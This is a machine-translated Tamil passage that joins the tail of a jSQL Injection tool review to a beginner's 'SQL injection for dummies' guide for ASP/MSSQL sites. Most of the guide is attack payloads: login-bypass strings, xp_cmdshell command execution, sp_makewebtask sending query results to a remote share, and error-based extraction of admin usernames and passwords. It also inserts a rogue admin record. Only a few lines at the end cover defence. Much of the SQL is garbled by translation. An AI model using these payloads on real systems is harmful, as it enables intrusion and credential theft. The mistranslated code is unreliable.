இடமாற்றம்-குறியீடு: துண்டிக்கப்பட்ட தேதி: வெள்ளி, 11 டிசம்பர் 2015 11:57:02 GMT முறை: HTTP/1.1 200 சரி Keep-Alive: காலக்கெடு=3, அதிகபட்சம்=100 இணைப்பு: உயிருடன் இருக்க உள்ளடக்கம்-வகை: உரை/html X- மூலம் இயக்கப்படுகிறது: PHP/5.3.29 சேவையகம்: அப்பாச்சி/2.2.31 (யுனிக்ஸ்)

இங்கே எங்களிடம் CentOS உள்ளது:

முறை: HTTP/1.1 200 சரி காலாவதியாகும்: வியாழன், 19 நவம்பர் 1981 08:52:00 GMT செட்-குக்கீ: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; பாதை=/ இணைப்பு: உயிருடன் X-Cache-Lookup: MISS இலிருந்து t1.hoster.ru:6666 சேவையகம்: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS இலிருந்து t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache தேதி: வெள்ளி, 11 டிசம்பர் 2015 12:08:54 GMT பரிமாற்ற-குறியீடு: துண்டிக்கப்பட்ட உள்ளடக்க-வகை: உரை/html; charset=WINDOWS-1251

விண்டோஸில், தளங்களுக்கான பொதுவான கோப்புறை C:\Server\data\htdocs\. ஆனால், உண்மையில், விண்டோஸில் சேவையகத்தை உருவாக்க யாராவது "நினைத்திருந்தால்", இந்த நபர் சலுகைகளைப் பற்றி எதுவும் கேட்கவில்லை. எனவே, நீங்கள் C:/Windows/ கோப்பகத்திலிருந்து நேரடியாக முயற்சிக்க வேண்டும்:

நீங்கள் பார்க்க முடியும் என, எல்லாம் முதல் முறையாக நன்றாக நடந்தது.

ஆனால் jSQL ஊசி குண்டுகள் என் மனதில் சந்தேகத்தை எழுப்புகின்றன. உங்களிடம் கோப்பு சிறப்புரிமைகள் இருந்தால், இணைய இடைமுகத்துடன் எதையாவது எளிதாகப் பதிவேற்றலாம்.

8. SQL ஊசிகளுக்கான தளங்களை மொத்தமாகச் சரிபார்த்தல்

இந்த செயல்பாடும் கூட jSQL ஊசியில் கிடைக்கிறது. எல்லாம் மிகவும் எளிமையானது - தளங்களின் பட்டியலைப் பதிவிறக்கவும் (நீங்கள் ஒரு கோப்பிலிருந்து இறக்குமதி செய்யலாம்), நீங்கள் சரிபார்க்க விரும்புவதைத் தேர்ந்தெடுத்து, செயல்பாட்டைத் தொடங்க பொருத்தமான பொத்தானைக் கிளிக் செய்யவும்.

jSQL ஊசியின் முடிவு

jSQL ஊசி என்பது இணையதளங்களில் காணப்படும் SQL ஊசி மருந்துகளைத் தேடுவதற்கும் பயன்படுத்துவதற்கும் ஒரு நல்ல, சக்திவாய்ந்த கருவியாகும். அதன் சந்தேகத்திற்கு இடமில்லாத நன்மைகள்: பயன்பாட்டின் எளிமை, உள்ளமைக்கப்பட்ட தொடர்புடைய செயல்பாடுகள். வலைத்தளங்களை பகுப்பாய்வு செய்யும் போது jSQL ஊசி ஒரு தொடக்கநிலை சிறந்த நண்பராக இருக்கும்.

குறைபாடுகளில், தரவுத்தளங்களைத் திருத்துவது சாத்தியமற்றது என்பதை நான் கவனிக்கிறேன் (குறைந்தது இந்த செயல்பாட்டை நான் கண்டுபிடிக்கவில்லை). அனைத்து GUI கருவிகளைப் போலவே, இந்த நிரலின் குறைபாடுகளில் ஒன்று ஸ்கிரிப்ட்களில் பயன்படுத்த இயலாமைக்கு காரணமாக இருக்கலாம். ஆயினும்கூட, இந்த திட்டத்தில் சில ஆட்டோமேஷன் சாத்தியமாகும் - வெகுஜன தள ஸ்கேனிங்கின் உள்ளமைக்கப்பட்ட செயல்பாட்டிற்கு நன்றி.

sqlmap ஐ விட jSQL ஊசி நிரல் பயன்படுத்த மிகவும் வசதியானது. ஆனால் sqlmap பல வகையான SQL ஊசிகளை ஆதரிக்கிறது, கோப்பு ஃபயர்வால்கள் மற்றும் வேறு சில செயல்பாடுகளுடன் வேலை செய்வதற்கான விருப்பங்களைக் கொண்டுள்ளது.

கீழே வரி: jSQL ஊசி ஒரு புதிய ஹேக்கரின் சிறந்த நண்பர்.

காளி லினக்ஸ் என்சைக்ளோபீடியாவில் இந்த திட்டத்திற்கான உதவியை இந்தப் பக்கத்தில் காணலாம்: http://kali.tools/?p=706

டம்மிகளுக்கான SQL ஊசி, ASP+MSSQL ஐ ஹேக்கிங்

அலெக்சாண்டர் ஆன்டிபோவ்

இந்தக் கட்டுரையில் புதிய உண்மைகள் எதுவும் இல்லை; கட்டுரை ஆரம்பநிலைக்கானது, ஆனால் வல்லுநர்கள் ஒன்று அல்லது இரண்டு புதிய தந்திரங்களைக் கண்டுபிடிக்க முடியும்.


புதியவர்கள் SQL ஊசி நுட்பத்தைப் பயன்படுத்தும் போது அவர்கள் சந்திக்கும் பிரச்சனைகளைச் சமாளிக்கவும், அதை வெற்றிகரமாகப் பயன்படுத்தவும், அத்தகைய தாக்குதல்களில் இருந்து தங்களைப் பாதுகாத்துக் கொள்ளவும் இந்தக் கட்டுரை உதவும்.

அறிமுகம்

ஆர்வமுள்ள சேவையகம் போர்ட் 80 மட்டுமே திறந்திருக்கும் போது, ​​மற்றும் பாதிப்பு ஸ்கேனர் சுவாரஸ்யமான எதையும் தெரிவிக்க முடியாது, மேலும் கணினி நிர்வாகி எப்போதுமே மிக விரைவாக அனைத்து இணைப்புகளையும் வலை சேவையகத்தில் நிறுவுகிறார் என்பது உங்களுக்குத் தெரியும், எங்கள் கடைசி வாய்ப்பு வெப் ஹேக்கிங் ஆகும். SQL ஊசி என்பது போர்ட் 80 ஐ மட்டுமே பயன்படுத்தும் வலை ஹேக்கிங் வகைகளில் ஒன்றாகும், மேலும் சரியான நேரத்தில் இணைப்புகளுடன் கூட வேலை செய்ய முடியும். இந்தத் தாக்குதல் வலை சேவையகம் அல்லது OS இல் உள்ள சேவைகளை நேரடியாகக் காட்டிலும் வலை பயன்பாடுகளை (ASP, JSP, PHP, CGI போன்றவை) இலக்காகக் கொண்டது.

இந்தக் கட்டுரையில் புதிய உண்மைகள் எதுவும் இல்லை; கட்டுரை ஆரம்பநிலைக்கானது, ஆனால் வல்லுநர்கள் ஒன்று அல்லது இரண்டு புதிய தந்திரங்களைக் கண்டுபிடிக்க முடியும். துறையில் உள்ள நிபுணர்களிடமிருந்து மேலும் விரிவான தகவல்களுக்கு கட்டுரையின் முடிவில் உள்ள இணைப்புகளைப் பார்க்கவும் பரிந்துரைக்கிறேன்.

1.1 SQL ஊசி என்றால் என்ன?

SQL இன்ஜெக்ஷன் என்பது இணையப் பக்கங்கள் மூலம் SQL வினவல்கள்/கட்டளைகளை செலுத்த வடிவமைக்கப்பட்ட ஒரு முறையாகும். பல வலைப்பக்கங்கள் இணைய பயனர்களுக்கு வழங்கப்பட்ட அளவுருக்களைப் பயன்படுத்துகின்றன மற்றும் தரவுத்தளத்திற்கு SQL வினவலை உருவாக்குகின்றன. எடுத்துக்காட்டாக, ஒரு பயனர் உள்நுழைவை எடுத்துக்கொள்வோம், பெயர் மற்றும் கடவுச்சொல்லுடன் ஒரு வலைப்பக்கம் இருக்கும்போது, ​​​​அந்த பெயர் மற்றும் கடவுச்சொல்லுடன் பதிவுசெய்யப்பட்ட பயனர் இருக்கிறாரா என்பதைச் சரிபார்க்க தரவுத்தளத்தில் ஒரு SQL வினவல் செய்யப்படுகிறது. SQL இன்ஜெக்ஷனைப் பயன்படுத்தி, SQL வினவலை மாற்றியமைக்கும் பயனர்பெயர் மற்றும்/அல்லது கடவுச்சொல் புலத்தை அனுப்புவது சாத்தியமாகும், இது சில சுவாரஸ்யமான விஷயங்களை நமக்குத் தரும்.

2.0 நாம் என்ன தேட வேண்டும்

தேடல் பக்கம், விவாதப் பக்கம் போன்ற தரவைக் கேட்கும் பக்கங்களைக் கண்டறிய முயற்சிக்கவும். சில நேரங்களில் html பக்கங்கள் மற்றொரு வலைப்பக்கத்திற்கு கட்டளைகளை அனுப்ப POST முறையைப் பயன்படுத்துகின்றன. இந்த வழக்கில், நீங்கள் URL இல் அளவுருக்களைப் பார்க்க மாட்டீர்கள். இருப்பினும், இந்த விஷயத்தில், பக்கங்களின் HTML மூலக் குறியீட்டில் "FORM" குறிச்சொல்லை நீங்கள் தேடலாம். இது போன்ற ஒன்றை நீங்கள் காண்பீர்கள்:



இடையே உள்ள அனைத்து அளவுருக்கள்

மற்றும்
SQL ஊசி மூலம் பாதிக்கப்படலாம்.

2.1 உள்ளீட்டைப் பயன்படுத்தும் பக்கத்தை நீங்கள் காணவில்லை என்றால் என்ன செய்வது?

ASP, JSP, CGI அல்லது PHP இணையப் பக்கங்கள் போன்ற பக்கங்களைப் பார்க்கவும். இது போன்ற அளவுருக்களைப் பயன்படுத்தும் பக்கங்களைக் கண்டறிய முயற்சிக்கவும்:

3.0 நான் கண்டறிந்தது பாதிக்கப்படக்கூடியதா என்பதை எவ்வாறு சரிபார்க்கலாம்?

ஒற்றை மேற்கோளுடன் தொடங்க முயற்சிக்கவும். பின்வரும் வரியை உள்ளிடவும்:

ஹாய்" அல்லது 1=1--

பயனர்பெயர் அல்லது கடவுச்சொல் புலத்தில் அல்லது URL அளவுருவில் கூட. உதாரணமாக:

உள்நுழைவு: ஹாய்" அல்லது 1=1--
பாஸ்: ஹாய்" அல்லது 1=1--
http://duck/index.asp?id=hi" அல்லது 1=1--

மறைக்கப்பட்ட புலத்தில் இதைச் செய்தால், அசல் HTML ஐப் பதிவிறக்கி, அதை உங்கள் வன்வட்டில் சேமித்து, URL மற்றும் மறைக்கப்பட்ட புலத்தை மாற்றவும். உதாரணமாக:



அதிர்ஷ்டம் உங்கள் பக்கம் இருந்தால், நீங்கள் பயனர்பெயர் அல்லது கடவுச்சொல் இல்லாமல் உள்நுழைய முடியும்.

3.1 ஆனால் ஏன் "அல்லது 1=1--?

"அல்லது 1=1-- கட்டமைப்பின் பயனை விளக்கும் மற்றொரு எடுத்துக்காட்டைப் பார்ப்போம். பதிவைத் தவிர்ப்பதுடன், பொதுவாகக் கிடைக்காத கூடுதல் தகவல்களையும் பார்க்கலாம். மற்றொரு பக்கத்துடன் இணைக்கும் ஒரு asp பக்கத்தைக் கவனியுங்கள். பின்வரும் URL:

http://duck/index.asp?category=food

ஒரு URL இல், "வகை" என்பது மாறியின் பெயராகும், மேலும் "உணவு" என்பது அந்த மாறிக்கு ஒதுக்கப்பட்ட மதிப்பு. இதைச் செய்ய, asp பக்கத்தில் பின்வரும் குறியீடு இருக்கலாம்:

v_cat = கோரிக்கை("வகை")
sqlstr="தேர்வு * தயாரிப்பில் இருந்து எங்கு PCategory="" & v_cat & """
அமை rs=conn.execute(sqlstr)

நீங்கள் பார்க்க முடியும் என, எங்கள் மாறி v_cat உடன் இணைக்கப்படும், எனவே SQL வினவல் ஆக வேண்டும்:

PCategory="உணவு" எங்குள்ள தயாரிப்பில் இருந்து * தேர்ந்தெடு

இந்த வினவல் "உணவு" என்ற இடத்தில், WHERE விதியுடன் பொருந்தக்கூடிய ஒன்று அல்லது அதற்கு மேற்பட்ட வரிசைகளைக் கொண்ட தொகுப்பை வழங்க வேண்டும். இப்போது URL ஐ பின்வருமாறு மாற்றலாம்:

http://duck/index.asp?category=food" அல்லது 1=1--
பிசி வகை = "உணவு" அல்லது 1=1--‘ என்ற தயாரிப்பில் இருந்து * தேர்ந்தெடு

Pcategory "உணவு" இல்லையா என்பதைப் பொருட்படுத்தாமல், இந்த வினவல் தயாரிப்பு அட்டவணையில் உள்ள அனைத்து வரிசைகளையும் வழங்கும். இரட்டைக் கோடு "-" ஒற்றை மேற்கோளைப் பின்தொடரும் (") மீதமுள்ள வினவலைப் புறக்கணிக்கும்படி MS SQL சேவையகத்திற்குச் சொல்கிறது.

இருப்பினும், நீங்கள் SQL அல்லாத சேவையகத்தைப் பயன்படுத்தினால் அல்லது மீதமுள்ள வினவலைப் புறக்கணிக்க முடியாது என்றால், முயற்சிக்கவும்:

" அல்லது "a"="a

இப்போது SQL வினவல் மாறும்:

பிசி வகை = "உணவு" அல்லது "அ" = "அ" எங்குள்ள தயாரிப்பில் இருந்து * தேர்ந்தெடு

இந்த வினவல் அதே முடிவை வழங்கும்.

உண்மையான SQL வினவலைப் பொறுத்து, இந்த சாத்தியக்கூறுகளில் சிலவற்றை நீங்கள் முயற்சிக்க வேண்டியிருக்கும்:

"அல்லது 1=1--
"அல்லது 1=1--
அல்லது 1=1--
" அல்லது "a"="a
" அல்லது "a"="a
") அல்லது ("a"="a

4.0 SQL இன்ஜெக்ஷனைப் பயன்படுத்தி நான் எவ்வாறு கட்டளைகளை தொலைவிலிருந்து இயக்குவது?

ஒரு SQL கட்டளையை உள்ளிடும் திறன் பொதுவாக SQL வினவல்களை நாம் விருப்பப்படி இயக்க முடியும் என்பதாகும். MS SQL சேவையகத்தின் இயல்புநிலை நிறுவல் கணினி உரிமைகளுடன் இயங்குகிறது. தன்னிச்சையான கட்டளைகளை தொலைவிலிருந்து இயக்க, master..xp_cmdshell போன்ற உள்ளமைக்கப்பட்ட நடைமுறைகளை நாம் அழைக்கலாம்:

"; exec master..xp_cmdshell "பிங் 10.10.1.2" --

(") வேலை செய்யவில்லை என்றால் இரட்டை மேற்கோள்களை (") பயன்படுத்தி முயற்சிக்கவும்.

அரைப்புள்ளி தற்போதைய SQL வினவலை முடித்து, புதிய SQL கட்டளைகளை இயக்க உங்களை அனுமதிக்கும். கட்டளை வெற்றிகரமாக உள்ளதா என்பதைச் சரிபார்க்க, 10.10.1.2 இல் உள்ள ICMP பாக்கெட்டுகளில் பாதிக்கப்படக்கூடிய சேவையகத்திலிருந்து ஏதேனும் பாக்கெட்டுகள் உள்ளதா எனப் பார்க்கவும்:

http://site/?ID=31610

நீங்கள் சேவையகத்திலிருந்து எந்த பிங் கோரிக்கையையும் பெறவில்லை என்றால், அனுமதி பிழையைக் குறிக்கும் பிழைச் செய்தியைப் பெற்றால், சேமிக்கப்பட்ட நடைமுறைகளுக்கு இணையப் பயனரின் அணுகலை நிர்வாகி கட்டுப்படுத்தியிருக்கலாம்.

5.0 எனது SQL வினவலின் முடிவுகளை நான் எவ்வாறு பெறுவது?

HTML இல் உங்கள் கோரிக்கையை எழுத sp_makewebtask ஐப் பயன்படுத்தலாம்:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "தகவல்_SCHEMA. டேபிள்களில் இருந்து * தேர்ந்தெடு"

குறிப்பிட்ட IP ஆனது அனைவருக்கும் அணுகக்கூடிய "பகிர்" கோப்புறையைக் கொண்டிருக்க வேண்டும்.

6.0 ODBC பிழைச் செய்திகளைப் பயன்படுத்தி தரவுத்தளத்திலிருந்து தரவை எவ்வாறு மீட்டெடுப்பது?

எந்தவொரு தரவையும் மீட்டெடுக்க SQL சேவையகத்தால் உருவாக்கப்பட்ட பிழை செய்தியிலிருந்து தகவலைப் பயன்படுத்தலாம். எடுத்துக்காட்டாக, பின்வரும் பக்கத்தைக் கவனியுங்கள்:

http://duck/index.asp?id=10

இப்போது நாம் முழு எண் '10' ஐ தரவுத்தளத்தில் மற்றொரு வரிசையுடன் இணைக்க முயற்சிப்போம்:

http://duck/index.asp?id=10 UNION INFORMATION_SCHEMA.TABLES இலிருந்து முதல் 1 அட்டவணை_பெயரைத் தேர்ந்தெடுக்கவும்--

சிஸ்டம் டேபிள் INFORMATION_SCHEMA.TABLES சர்வரில் உள்ள அனைத்து டேபிள்களிலிருந்தும் தகவல்களைக் கொண்டுள்ளது.

TABLE_NAME புலம் தரவுத்தளத்தில் உள்ள ஒவ்வொரு அட்டவணையின் பெயரையும் கொண்டுள்ளது. அது எப்பொழுதும் இருப்பதை நாம் அறிவதால் அது தேர்ந்தெடுக்கப்பட்டது. எங்கள் கோரிக்கை:

INFORMATION_SCHEMA. TABLES-லிருந்து முதல் 1 TABLE_NAME ஐத் தேர்ந்தெடுக்கவும்.

இந்த வினவல் தரவுத்தளத்தில் முதல் பெயரை வழங்கும். இந்த சர மதிப்பை முழு எண் 10 க்கு UNION செய்யும் போது, ​​MS SQL சர்வர் nvarchar சரத்தை முழு எண்ணாக மாற்ற முயற்சிக்கும். இது nvarchar ஐ int ஆக மாற்ற முடியாது என்று ஒரு பிழையை ஏற்படுத்தும். சேவையகம் பின்வரும் பிழையை ஏற்படுத்தும்:


nvarchar மதிப்பை மாற்றுவதில் தொடரியல் பிழை "table1" to a column of data type int. !}
/index.asp, வரி 5

பிழைச் செய்தியில் முழு எண்ணாக மாற்ற முடியாத மதிப்பைப் பற்றிய தகவல் உள்ளது. இந்த வழக்கில், முதல் அட்டவணையின் பெயரைப் பெற்றோம் - "அட்டவணை 1".

அடுத்த அட்டவணைப் பெயரைப் பெற, பின்வரும் வினவலைப் பயன்படுத்தலாம்:

http://duck/index.asp?id=10 UNION INFORMATION_SCHEMA இலிருந்து முதல் 1 TABLE_NAME ஐத் தேர்ந்தெடு

நாம் LIKE விசையைப் பயன்படுத்தி தரவையும் தேடலாம்:

http://duck/index.asp?id=10 UNION INFORMATION_SCHEMA இலிருந்து முதல் 1 TABLE_NAME ஐத் தேர்ந்தெடுங்கள். "%25login%25" போன்ற அட்டவணை இருக்கும் இடத்தில் --

ODBC டிரைவர்களுக்கான மைக்ரோசாஃப்ட் OLE DB வழங்குநர் பிழை "80040e07" nvarchar மதிப்பை மாற்றுவதில் தொடரியல் பிழை "admin_login" to a column of data type int. !} /index.asp, வரி 5

தொடர்புடைய "%25login%25" ஆனது SQL சர்வரில் %login% என மாற்றப்படும். இந்த வழக்கில், "admin_login" அளவுகோலுடன் பொருந்தக்கூடிய அட்டவணையின் பெயரைப் பெறுவோம்.

6.1 அட்டவணையில் உள்ள அனைத்து நெடுவரிசைப் பெயர்களையும் நான் எவ்வாறு கண்டுபிடிப்பது?

அட்டவணையில் உள்ள அனைத்து நெடுவரிசைப் பெயர்களையும் காட்ட, INFORMATION_SCHEMA.COLUMNS அட்டவணையைப் பயன்படுத்தலாம்:

http://duck/index.asp?id=10 UNION INFORMATION_SCHEMA இலிருந்து TOP 1 COLUMN_NAME ஐத் தேர்ந்தெடு

ODBC டிரைவர்களுக்கான மைக்ரோசாஃப்ட் OLE DB வழங்குநர் பிழை "80040e07"
nvarchar மதிப்பை மாற்றுவதில் தொடரியல் பிழை "login_id" to a column of data type int. !}
/index.asp, வரி 5

இப்போது முதல் நெடுவரிசைப் பெயரை அறிந்துள்ளோம், அடுத்த நெடுவரிசைப் பெயரைப் பெற NOT IN() ஐப் பயன்படுத்தலாம்:

http://duck/index.asp?id=10 UNION INFORMATION_SCHEMA இலிருந்து TOP 1 COLUMN_NAME ஐத் தேர்வுசெய்க

ODBC டிரைவர்களுக்கான மைக்ரோசாஃப்ட் OLE DB வழங்குநர் பிழை "80040e07"
nvarchar மதிப்பை மாற்றுவதில் தொடரியல் பிழை "login_name" to a column of data type int. !}
/index.asp, வரி 5

தொடர்ந்து, மீதமுள்ள நெடுவரிசைப் பெயர்களைப் பெறுவோம், அதாவது. "கடவுச்சொல்", "விவரங்கள்" பின்வரும் பிழையைப் பெறும் வரை.

http://duck/index.asp?id=10 UNION INFORMATION_SCHEMA இலிருந்து TOP 1 COLUMN_NAME ஐத் தேர்வுசெய்க

ODBC டிரைவர்களுக்கான மைக்ரோசாப்ட் OLE DB வழங்குநர் பிழை "80040e14"
அறிக்கை UNION ஆபரேட்டரைக் கொண்டிருந்தால், உருப்படிகளின்படி ஆர்டர் தேர்ந்தெடுக்கப்பட்ட பட்டியலில் தோன்ற வேண்டும்.
/index.asp, வரி 5

6.2 நமக்குத் தேவையான தரவுகளை எப்படிப் பெறுவது?

இப்போது நாம் சில முக்கியமான அட்டவணைகளை கண்டறிந்துள்ளோம், தரவுத்தளத்திலிருந்து தகவலை மீட்டெடுக்க அதே நுட்பத்தைப் பயன்படுத்தலாம்.

"admin_login" அட்டவணையிலிருந்து முதல் உள்நுழைவு_பெயரைப் பெறுவோம்:

http://duck/index.asp?id=10 UNION முதல் 1 login_name ஐ admin_login இலிருந்து தேர்ந்தெடுக்கவும்--

ODBC டிரைவர்களுக்கான மைக்ரோசாஃப்ட் OLE DB வழங்குநர் பிழை "80040e07"
nvarchar மதிப்பை மாற்றுவதில் தொடரியல் பிழை "neo" to a column of data type int. !}
/index.asp, வரி 5

"நியோ" என்ற உள்நுழைவு பெயருடன் ஒரு நிர்வாகி பயனர் இருப்பதை இப்போது நாம் அறிவோம். இறுதியாக நாம் கடவுச்சொல் "நியோ" பெறலாம்:

http://duck/index.asp?id=10 UNION admin_login இலிருந்து முதல் 1 கடவுச்சொல்லைத் தேர்ந்தெடுக்கவும், அங்கு login_name="neo"--

ODBC டிரைவர்களுக்கான மைக்ரோசாஃப்ட் OLE DB வழங்குநர் பிழை "80040e07"
nvarchar மதிப்பை மாற்றுவதில் தொடரியல் பிழை "m4trix" to a column of data type int. !}
/index.asp, வரி 5

இப்போது நாம் "m4trix" கடவுச்சொல் மூலம் "neo" ஆக உள்நுழைய முடியும்.

6.3 சரத்தின் எண் மதிப்பை எவ்வாறு பெறுவது?

மேலே விவரிக்கப்பட்ட முறையில் ஒரு வரம்பு உள்ளது. எண்ணை (0...9 க்கு இடைப்பட்ட எழுத்துக்கள் மட்டும்) கொண்ட உரையை மாற்ற முயற்சித்தால் பிழைச் செய்தியைப் பெற முடியாது. "ட்ரினிட்டி" பயனரிடமிருந்து "31173" கடவுச்சொல்லைப் பெறுவதை இப்போது விவரிப்போம்:

http://duck/index.asp?id=10 UNION admin_login இலிருந்து முதல் 1 கடவுச்சொல்லைத் தேர்ந்தெடுக்கவும், அங்கு login_name="trinity"--

ஒருவேளை "பக்கம் கிடைக்கவில்லை" என்ற பிழையைப் பெறுவோம். காரணம், "31173" கடவுச்சொல் ஒரு எண்ணாக மாற்றப்படும், UNION க்கு முன் ஒரு முழு எண்ணுடன் (எங்கள் வழக்கில் 10). UNION வெளிப்பாடு சரியாக இருப்பதால், SQL சேவையகம் ஒரு பிழை செய்தியை உருவாக்காது, இதனால் எங்களால் ஒரு எண் பதிவைப் பெற முடியாது.

இந்தச் சிக்கலைத் தீர்க்க, மாற்றத்தைத் தடுக்க சில எழுத்துக்களுடன் ஒரு எண் சரத்தை இறுதியில் சேர்க்கலாம். திருத்தப்பட்ட கோரிக்கை:

http://duck/index.asp?id=10 UNION முதல் 1 மாற்றத்தைத் தேர்ந்தெடுக்கவும்(int, password%2b"%20morpheus") admin_login இலிருந்து login_name="trinity"--

கடவுச்சொல்லை எந்த உரையிலும் சேர்க்க, கூட்டல் குறியை (+) பயன்படுத்துகிறோம் ("+" = 0x2b க்கான ASSCII குறியாக்கம்). அடுத்து, உண்மையான கடவுச்சொல்லின் முடிவில் "%20morpheus" ஐ இணைப்போம். எனவே கடவுச்சொல் மதிப்பு "31173" ஆக இருந்தாலும், அது "31173 மார்பியஸ்" ஆகிவிடும். "31173 மார்பியஸ்" ஐ முழு எண்ணாக மாற்ற முயற்சிக்கும் கன்வெர்ட்() செயல்பாட்டை கைமுறையாக அழைத்தால், SQL சர்வர் ODBC பிழை செய்தியை அனுப்பும்:

ODBC டிரைவர்களுக்கான மைக்ரோசாஃப்ட் OLE DB வழங்குநர் பிழை "80040e07"
nvarchar மதிப்பை மாற்றுவதில் தொடரியல் பிழை "31173 morpheus" to a column of data type int. !}
/index.asp, வரி 5

இப்போது நாம் "31173" கடவுச்சொல்லைக் கொண்டு "trinity" ஆக உள்நுழைய முடியும்.

7.0 தரவுத்தளத்தில் தரவை எவ்வாறு மாற்றுவது/செருகுவது?

அட்டவணையில் நெடுவரிசை மூலம் அனைவரின் பெயர்களையும் பெற்றவுடன், நம்மால் முடியும் புதுப்பிக்கவும் (புதுப்பிக்கவும்) அல்லது புதிய பதிவை அட்டவணையில் செருகவும் (செருகவும்). எடுத்துக்காட்டாக, "நியோ" க்கான கடவுச்சொல்லை மாற்றலாம்:

http://duck/index.asp?id=10; புதுப்பி "admin_login" SET "கடவுச்சொல்" = "newpas5" எங்கே login_name="neo--

தரவுத்தளத்தில் புதிய பதிவைச் செருக:

http://duck/index.asp?id=10; "admin_login" இல் செருகவும் ("login_id", "login_name", "password", "details") VALUES (666,"neo2","newpas5","NA")--

இப்போது நாம் "நியோ" என்ற கடவுச்சொல் "நியோபாஸ் 5" மூலம் உள்நுழைய முடியும்.

8.0 SQL ஊசியைத் தவிர்ப்பது எப்படி?

அனைத்து வரிகளிலும் சிறப்பு எழுத்துக்களை வடிகட்டவும்:

பயனரால் உள்ளிடப்பட்ட எந்தத் தரவும்
- URL அளவுருக்கள்
- குக்கீ

எண் மதிப்புகளுக்கு, SQL வினவலுக்கு அனுப்பும் முன் அவற்றை முழு எண்ணாக மாற்றவும். அல்லது ISNUMERIC ஐப் பயன்படுத்தி அது ஒரு முழு எண் என்பதை உறுதிப்படுத்தவும்.

SQL சேவையகத்தை சலுகை இல்லாத பயனராக இயக்கவும்.

பயன்படுத்தப்படாத சேமிக்கப்பட்ட நடைமுறைகளை அகற்று: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask